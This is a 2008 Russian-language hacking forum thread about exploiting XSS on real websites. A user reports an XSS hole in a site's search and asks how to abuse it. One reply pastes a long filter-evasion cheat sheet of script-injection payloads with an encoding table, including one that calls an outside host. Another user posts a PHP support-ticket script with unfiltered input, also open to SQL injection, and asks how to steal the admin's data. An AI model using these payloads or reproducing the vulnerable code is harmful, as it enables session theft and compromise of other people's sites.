XSS и много!!!
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
XSS и много!!! - 2008-04-10 13:41:21.693333
|
|
|
novosibirec
Сообщений: 29
Оценки: 0
Присоединился: 2008-04-08 06:34:51.826666
|
приветствую!!!!! нашел ХСС в поиске НО выводятся только цифры т.е. % и латинские съедает скрипт! как юзать эту уязву!? все сайты сделаны одним разработчиком! есть на чем погулять! жду ваших советов!
|
|
|
RE: XSS и много!!! - 2008-04-10 15:58:23.643333
|
|
|
[ TRaY ]
Сообщений: 919
Оценки: 0
Присоединился: 2008-03-22 18:47:37.556666
|
Взято с античата, это вырезки из статьи "Обход фильтров при использовании XSS-уязвимости" Думаю тебе это поможет, но лучше всего юзать сам поиск а потом уже уязвимости…имхо Разделители атрибутов тега. Помимо пробела, можно использовать символы: слеш(/), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки. <image/src="1.png"/alt="Подсказка"/border="0"> <image src="1.png" alt="Подсказка" border="0"> <image src="1.png" alt="Подсказка" border="0"> <image src="1.png"alt="Подсказка"border="0"> Ограничители атрибутов тега Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать. <image src="" alt="Моя подсказка" border="0"> <image src="" alt='Моя подсказка' border="0"> <image src="" alt=`Моя подсказка` border="0"> <image src="" alt=Подсказка border="0"> Кодировки символов Расшифровка символов в скрипте происходит до его выполнения: <img src=javascript:alert("ok")> <img src=javascript:alert('ok')> <img src=javascript:alert('ok')> <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href) Ограничители символьных литералов в скриптах <img src=javascript:alert('ok')> <img src=javascript:alert("ok")> <img src=javascript:a=/ok/;alert(a.source)> <img src=javascript:alert(String.fromCharCode(111,107))> Обход фильтрации некоторых символов <img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/) Способы запуска скриптов Несколько способов автоматического запуска скриптов: <script>alert('ok')</script> <script src=1.js></script> <body onLoad=alert('ok')> <meta http-equiv=Refresh content=0;url=javascript:alert('ok')> <image src=1.png onload=alert('ok')> <image src=javascript:alert('ok')> <image src="" onerror=alert('ok')> <hr style=background:url(javascript:alert('ok'))> <span style=top:expression(alert('ok'))></span> <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз) <style type="text/css">@import url(javascript:alert('ok'));</style> <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object> <embed src=javascript:alert('ok');this.avi> <embed src=javascript:alert('ok');this.wav> <iframe src=javascript:alert('ok')> (только в IE) <a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке) <a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a> (запуск только при клике по ссылке) <br SIZE="&{alert('XSS')}"> (только Netscape 4.x) Различные скриптовые протоколы, способы их написания <img src=javascript:alert()> <img src=vbscript:AleRt()> <img src=JaVasCriPt:alert()> <img src=" javascript:alert()"> (пробелы до слова javascript) <img src=javascript:alert()> <img src=javascript :alert()> <img src=javascript
:alert()> <img src=javascript
:alert()> <img src="javascript :alert()"> (перед двоеточием - символ табуляции) <img src="java scri pt:ale rt()"> (внутри слова javascript - символ табуляции и возврат каретки) Вставки скриптов в style Операторы скрипта в атрибуте style нужно разделять "\;". <hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`> Специальные теги. <image src="1.png" alt="" border="0"> (тег img и image работают одинаково) <plaintext> (все, что будет идти после этого тега, будет восприниматься как обычный текст - не HTML) <textarea> (все, что будет идти после этого тега, будет восприниматься как обычный текст - не HTML) <xml> (все, что будет идти после этого тега, не будет отображаться) Таблица часто применяемых кодов: Символ Десятичная кодировка 16-ая кодировка* Символьная кодировка URL-кодировка " " " " %22 ' ' ' %27 ` ` ` %60 <пробел> + <табуляция> %09 <возврат каретки>
%0D = = = %3D < < < < %3C > > > > %3E \ \ \ %5C % % % %25 + + + %2B <короткий дефис> ­ %AD & & & & %26 *-в некоторых случаях точку с запятой можно опустить (если символ стоит в конце строки, или подряд идут несколько символов в данной кодировке). (С) antichat.ru
|
|
|
RE: XSS и много!!! - 2008-04-20 00:35:43.430000
|
|
|
akak
Сообщений: 1
Оценки: 0
Присоединился: 2008-04-13 23:46:20.216666
|
Все это, конечно, хорошо. Но в частном случае не совсем понятно. Вот у меня есть уязвимый скрипт, страница техподдержки: <?
session_start();
$title="Техподдержка\n";
include ("header.php");
include ("func/aut.php");
if ($mod=="add")
{
if (empty($message))
{
echo "<form action=\"support.php?mod=add&".session_name()."=".session_id()."&go=post\" method=\"post\">";
echo $div["ten"];
echo "<img src=\"pics/st.gif\" alt=\"*\"/>";echo "Вопрос: <br/>";
echo "<input name=\"message\" maxlength=\"250\" value=\"$msg_db\" title=\"Text\"/><br/>";
echo "<input class=\"ibutton\" type=\"submit\" value=\"Отправить\"/>";
echo $div["end"];;
echo "</form>";
}
else
{
echo $div["ten"];
@mysql_query("insert into `support` values(0,'".$autorize['id']."','$date','$message','');")or die ("FUCK");
$idt=mysql_insert_id();
echo "Тикет №$idt успешно создан. Ваш вопрос на обработке. Спасибо<br/>";
echo "<img src=\"pics/st.gif\" alt=\"*\"/>";echo "<a href=\"support.php?".session_name()."=".session_id()."\">Поддержка</a><br/>";
echo "<img src=\"pics/st.gif\" alt=\"*\"/>";echo "<a href=\"enter.php?".session_name()."=".session_id()."\">Панель</a><br/>";
echo $div["end"];
}
include ("footer.php");
exit();
}
echo $div["ten"];
if(empty($startan)) $startan = 0;
$startan=intval($startan);
if($startan<0) $startan=0; $num_msgs_an=5;
$arr = mysql_query("select * from `support`");
$qi = mysql_query("select * from `support` where `idc`='".$autorize['id']."' order by `id` desc limit $startan,$num_msgs_an;;");
if (mysql_affected_rows()==0)
{
echo "Не созданно ни одного тикета!<br/>";
}
else
{
while($row=mysql_fetch_array($qi))
{
echo "#".$row['id']." | ".$row['date']." |
".$row['msg']."<br/>";
echo ""; if (empty($row['ans'])) echo "в обработке...<br/>---<br/>"; else echo "<b>Ответ:</b> ".$row['ans']."<br/>---<br/>";
}
}
$i = @mysql_num_rows($arr);
if($startan!=0)
echo "<a href=\"support.php?".session_name()."=".session_id()."&startan=".($startan-$num_msgs_an)."\">".htmlspecialchars("<<--")."</a>] ";
if($i>$startan+$num_msgs_an)
echo "[<a href=\"support.php?".session_name()."=".session_id()."&startan=".($startan+$num_msgs_an)."\">".htmlspecialchars("-->>")."</a>";;
echo "<br/><img src=\"pics/st.gif\" alt=\"*\"/>";echo "<a href=\"support.php?mod=add&".session_name()."=".session_id()."\">Добавить тикет</a><br/>";
echo "<img src=\"pics/st.gif\" alt=\"*\"/>";echo "<a href=\"enter.php?".session_name()."=".session_id()."\">Панель</a><br/>";
echo $div["end"];
include ("footer.php");
?> Как видно, отсутствует фильтрация символов вводимой посетителем сайта информации. И как в данном случае применить xss? Отображается вставленная картинка, использовал сниффер. Админ ответил, но я не смог увидеть даже REFERER. Так как же все-таки использовать уязвимость, что для этого нужно?
|
|
|
|
|